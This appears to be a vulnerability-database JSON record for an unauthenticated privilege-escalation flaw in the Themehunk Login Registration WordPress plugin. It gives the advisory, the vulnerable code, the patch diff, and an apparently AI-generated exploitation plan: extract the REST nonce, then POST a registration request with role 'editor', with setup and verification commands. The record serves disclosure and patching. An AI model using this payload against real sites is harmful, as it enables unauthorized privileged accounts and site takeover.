[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fIz3gcbrytX_yN7Mo9OF8tS955W4cYSnlvya0li4wAQY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-14250","themehunk-login-registration-unauthenticated-privilege-escalation-via-role-parameter","Themehunk Login Registration \u003C= 1.0.2 - Unauthenticated Privilege Escalation via 'role' Parameter","The Themehunk Login Registration plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.0.2. This is due to the handle_frontend_register() function in the unauthenticated \u002Fthlogin\u002Fv1\u002Fregister REST endpoint accepting a user-controlled 'role' parameter and validating it only against get_editable_roles() — which returns every defined editable site role, including 'editor' — before passing it to wp_insert_user(). This makes it possible for unauthenticated attackers, when public user registration is enabled, to create new accounts with the editor role.","themehunk-login-registration",null,"\u003C=1.0.2","1.0.3","medium",6.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:L","Improper Privilege Management","2026-07-07 22:41:39","2026-07-08 11:30:33",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8eee3809-133e-4fd9-ad49-cc6fe3822457?source=api-prod",1,[22,23,24,25,26],"includes\u002Fclass-thlogin-frontend.php","includes\u002Fclass-thlogin-rest-api.php","includes\u002Fclass-thlogin-security.php","readme.txt","themehunk-login-registration.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-14250 (Themehunk Login Registration Privilege Escalation)\n\n## 1. Vulnerability Summary\n**CVE-2026-14250** is an improper privilege management vulnerability in the **Themehunk Login Registration** plugin (versions \u003C= 1.0.2). The vulnerability exists in the unauthenticated REST API endpoint `\u002Fthlogin\u002Fv1\u002Fregister`. The function `handle_frontend_register()` accepts a user-provided `role` parameter. Instead of restricting registration to a safe default (like `subscriber`), the plugin validates the requested role against `get_editable_roles()`. In the context of the plugin's execution, this check includes elevated roles like `editor`, allowing unauthenticated users to register with higher privileges.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-json\u002Fthlogin\u002Fv1\u002Fregister`\n- **Authentication:** Unauthenticated (requires `users_can_register` to be enabled in WordPress settings).\n- **Vulnerable Parameter:** `role`\n- **Preconditions:** \n    - The WordPress setting \"Anyone can register\" must be enabled.\n    - A valid REST API nonce (`wp_rest`) must be provided in the `X-WP-Nonce` header.\n\n## 3. Code Flow\n1. **Entry Point:** A `POST` request is sent to the REST namespace `thlogin\u002Fv1` at the `\u002Fregister` route.\n2. **Permission Check:** The `permission_callback` calls `check_registration_allowed()`. This function typically verifies that the user is not already logged in and that site registration is open.\n3. **Handler Execution:** The request reaches `THLogin_REST_API::handle_frontend_register()`.\n4. **Parameter Extraction:** The function extracts `username`, `email`, `password`, and `role` from the request body.\n5. **Vulnerable Validation:** The code retrieves a list of roles via `get_editable_roles()`. It checks if the user-supplied `role` exists in this array. Because this function returns all editable roles (including `editor`), the validation passes.\n6. **Sink:** The validated role and user details are passed to `wp_insert_user()`, creating the account with the specified role.\n\n## 4. Nonce Acquisition Strategy\nThe endpoint requires a standard WordPress REST API nonce. The plugin enqueues scripts that expose this nonce on any page where the login\u002Fregistration forms are present.\n\n1. **Shortcode Identification:** The plugin uses several shortcodes defined in `includes\u002Fclass-thlogin-frontend.php`:\n   - `[thlogin_register_form]`\n   - `[thlogin_form]`\n   - `[thlogin_combined_form]`\n2. **Page Creation:** Use WP-CLI to create a public page containing the registration shortcode to ensure the script is enqueued.\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Register\" --post_content='[thlogin_register_form]'\n   ```\n3. **Extraction:** Navigate to the newly created page and extract the nonce from the localized JavaScript object `thLoginFrontendData`.\n   - **Variable:** `window.thLoginFrontendData`\n   - **Key:** `nonce`\n   - **Tool Command:** `browser_eval(\"window.thLoginFrontendData?.nonce\")`\n\n## 5. Exploitation Strategy\n### Step 1: Obtain REST Nonce\nNavigate to the page with the shortcode and extract the nonce using the strategy above.\n\n### Step 2: Send Registration Request\nConstruct a `POST` request to the registration endpoint.\n\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fthlogin\u002Fv1\u002Fregister`\n- **Method:** `POST`\n- **Headers:**\n    - `Content-Type: application\u002Fjson`\n    - `X-WP-Nonce: \u003CEXTRACTED_NONCE>`\n- **Payload:**\n  ```json\n  {\n    \"username\": \"attacker_editor\",\n    \"email\": \"attacker@example.com\",\n    \"password\": \"Password123!\",\n    \"role\": \"editor\"\n  }\n  ```\n\n### Step 3: Expected Response\nA successful registration should return a `200 OK` or `201 Created` status code with a JSON body indicating success (e.g., `{\"success\": true, ...}`).\n\n## 6. Test Data Setup\n1. **Enable Registration:**\n   ```bash\n   wp option update users_can_register 1\n   ```\n2. **Install Plugin:** Ensure Themehunk Login Registration version 1.0.2 is active.\n3. **Create Trigger Page:**\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Gate\" --post_content='[thlogin_register_form]'\n   ```\n\n## 7. Expected Results\n- The REST API accepts the `editor` role without error.\n- A new user is created in the database with the `editor` role instead of the default `subscriber` role.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the user's role via WP-CLI:\n```bash\nwp user get attacker_editor --field=roles\n```\n**Success Criteria:** The command returns `editor`.\n\n## 9. Alternative Approaches\nIf the `role` parameter is not accepted as a top-level JSON key, it may be nested within a `settings` or `user_data` object (though the CVE description suggests a direct parameter). Check the `args` handling in `handle_frontend_register` if the primary payload fails. \n\nIf `get_editable_roles()` behavior differs across environments, try escalating to `author` or `contributor` to confirm the parameter is indeed being processed and validated against the role list.","The Themehunk Login Registration plugin (\u003C= 1.0.2) is vulnerable to unauthenticated privilege escalation via its registration REST API endpoint. An attacker can create a new account with elevated privileges, such as 'editor', by supplying a 'role' parameter that the plugin validates against all editable site roles instead of enforcing a restricted default.","\u002F\u002F includes\u002Fclass-thlogin-rest-api.php lines 782-789\n\t\t$role = sanitize_text_field( $request->get_param( 'role' ) );\n\t\tif ( ! function_exists( 'get_editable_roles' ) ) {\n\t\t\trequire_once ABSPATH . 'wp-admin\u002Fincludes\u002Fuser.php';\n\t\t}\n\t\t$default_role    = $general_settings['default_register_role'] ?? 'subscriber';\n\t\t$editable_roles  = array_keys( get_editable_roles() );\n\t\t$user_data['role'] = ( $role && in_array( $role, $editable_roles, true ) ) ? $role : $default_role;","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fthemehunk-login-registration\u002F1.0.2\u002Fincludes\u002Fclass-thlogin-rest-api.php\t2025-10-08 11:39:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fthemehunk-login-registration\u002F1.0.3\u002Fincludes\u002Fclass-thlogin-rest-api.php\t2026-07-01 12:53:12.000000000 +0000\n@@ -779,13 +785,16 @@\n \t\t\t'user_email' => $email,\n \t\t];\n \n-\t\t$role = sanitize_text_field( $request->get_param( 'role' ) );\n+\t\t\u002F\u002F Security: the role must NEVER be taken from the request. Allowing a\n+\t\t\u002F\u002F client-supplied \"role\" parameter would let an unauthenticated visitor\n+\t\t\u002F\u002F register as an Administrator (privilege escalation). Only the\n+\t\t\u002F\u002F admin-configured default role is honored here.\n \t\tif ( ! function_exists( 'get_editable_roles' ) ) {\n \t\t\trequire_once ABSPATH . 'wp-admin\u002Fincludes\u002Fuser.php';\n \t\t}\n-\t\t$default_role    = $general_settings['default_register_role'] ?? 'subscriber';\n-\t\t$editable_roles  = array_keys( get_editable_roles() );\n-\t\t$user_data['role'] = ( $role && in_array( $role, $editable_roles, true ) ) ? $role : $default_role;\n+\t\t$default_role       = sanitize_text_field( $general_settings['default_register_role'] ?? 'subscriber' );\n+\t\t$editable_roles     = array_keys( get_editable_roles() );\n+\t\t$user_data['role']  = in_array( $default_role, $editable_roles, true ) ? $default_role : 'subscriber';","The exploit targets the `\u002Fwp-json\u002Fthlogin\u002Fv1\u002Fregister` REST endpoint. An attacker first retrieves a valid `wp_rest` nonce from the `thLoginFrontendData` JavaScript object on any page where the plugin's registration shortcode is rendered. Using this nonce, the attacker sends an unauthenticated POST request to the registration endpoint with a JSON payload containing the desired username, email, and password. Crucially, the attacker includes a 'role' parameter set to 'editor'. Because the vulnerable code uses `get_editable_roles()` to validate the input, and that function includes high-level roles when processed during account creation, the plugin allows the registration to proceed with the elevated role.","gemini-3-flash-preview","2026-07-25 08:34:29","2026-07-25 08:35:10",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","1.0.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fthemehunk-login-registration\u002Ftags\u002F1.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fthemehunk-login-registration.1.0.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fthemehunk-login-registration\u002Ftags\u002F1.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fthemehunk-login-registration.1.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fthemehunk-login-registration\u002Ftags"]